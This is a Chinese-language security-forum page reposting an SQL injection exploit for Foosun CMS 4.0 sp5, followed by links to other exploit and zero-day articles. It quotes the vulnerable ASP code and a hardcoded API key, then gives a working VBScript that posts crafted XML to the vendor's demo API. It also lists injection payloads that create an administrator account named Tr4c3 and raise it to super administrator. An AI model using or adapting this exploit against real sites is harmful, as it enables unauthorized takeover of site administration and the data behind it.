|
[推荐]风讯7月份最新注入漏洞利用
| 以下是引用片段： If CheckPost() Then Select Case Act Case “checkname” ‘触发注入 Checkname() CheckPost()函数原型在行73-96，username由此获取值，代码如下: XmlDoc.documentElement.selectSingleNode(”username”) Checkname()函数在行233-254，代码如下： Sub Checkname() Dim UserEmail Dim Temp_tr,i,Rs,Sql UserEmail = Trim(XmlDoc.documentElement.selectSingleNode(”email”).text) If Messenge<>”" Then ‘输出错误信息 Status = 1 Exit Sub End If Sql=”select UserName,Email From FS_ME_Users where UserName = ‘”& UserName &”‘” ‘在此带入sql执行 Set Rs = User_Conn.Execute(Sql) If Not Rs.Eof And Not Rs.Bof Then Messenge = “您填写的用户名已经被注册。” Status = 1 Exit Sub Else Status = 0 Messenge = “验证通过。” End If Rs.Close Set Rs = Nothing End Sub |
| 以下是引用片段： Dim NewMd5,OldMd5 NewMd5 = Md5(UserName&API_SysKey,16) ‘Const API_SysKey = “API_TEST” OldMd5 = Md5(UserName&API_SysKey,16) If Syskey=NewMd5 or Syskey=OldMd5 Then CheckPost = True Else Status = 1 Messenge = Messenge & “<li>请求数据验证不通过，请与管理员联系。” End If API_SysKey在Api_Config.asp里16行被设置 Const API_SysKey = “API_TEST” |
| 以下是引用片段： Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rem 风讯4.0 sp5[mssql] 注入漏洞测试脚本 By Tr4c3[at]126[dot]com Rem 更多信息请关注: Rem 网安阵线 http://www.nspcn.org/ Rem web安全手册 http://www.tr4c3.com/ Rem BK瞬间[qq群] Rem 转载请保留以上版权 Dim strData, strUrl, strGetinfo, xPost strData = “<body><userip>999.999.999.999</userip><email>body@baidu.com</email><action>checkname</action><syskey>b77c8e0d7a0784d5</syskey><appid>FoosunCMS</appid><username>’</username></body>” strUrl = “http://demo.foosun.net/api/API_Response.asp” Set xPost = CreateObject(”Microsoft.XMLHTTP”) xPost.Open “POST”, strUrl, False xPost.SetRequestHeader “Content-Type”, “application/x-www-form-urlencoded” xPost.SetRequestHeader “Referer”, strUrl xPost.send(strData) ’strGetinfo = xPost.ResponseText strGetinfo = bytes2BSTR(xPost.ResponseBody) Wscript.echo(strGetinfo) Wscript.Quit Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rem 将返回内容转换成简体中文 Function bytes2BSTR(vIn) strReturn = “” For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rem ‘;insert into FS_MF_Admin (Admin_Name,Admin_Pass_Word)values(’Tr4c3′,’83aa400af464c76d’)– 添加一个普通管理员Tr4c3,密码12345678 Rem ‘;update FS_MF_Admin set Admin_Is_Super=1 where Admin_Name=’Tr4c3′– 把Tr4c3提升为超级管理员 Rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- |
| 新云CMS Online.asp页面过滤不严 | 02-26 |
| 对网软网上购物系统的漏洞分析 | 01-09 |
| 测试SQL防注入脚本 | 12-21 |
| Google Xss又出跨站新漏洞 | 11-06 |
| 一次简单的html injection导致的 | 11-06 |
| 风讯、科讯漏洞利用 | 11-01 |
| Adobe pdf reader URI利用方式浅 | 10-23 |
| 超星阅览器的最新0DAY | 10-19 |
| 运用SQL Injection做数据库渗透的 | 09-22 |
| sa-blog 0day | 09-22 |
| HTML注入的一些简单想法 | 09-10 |
| 网站登陆接口的攻与防 | 09-04 |
您现在的位置：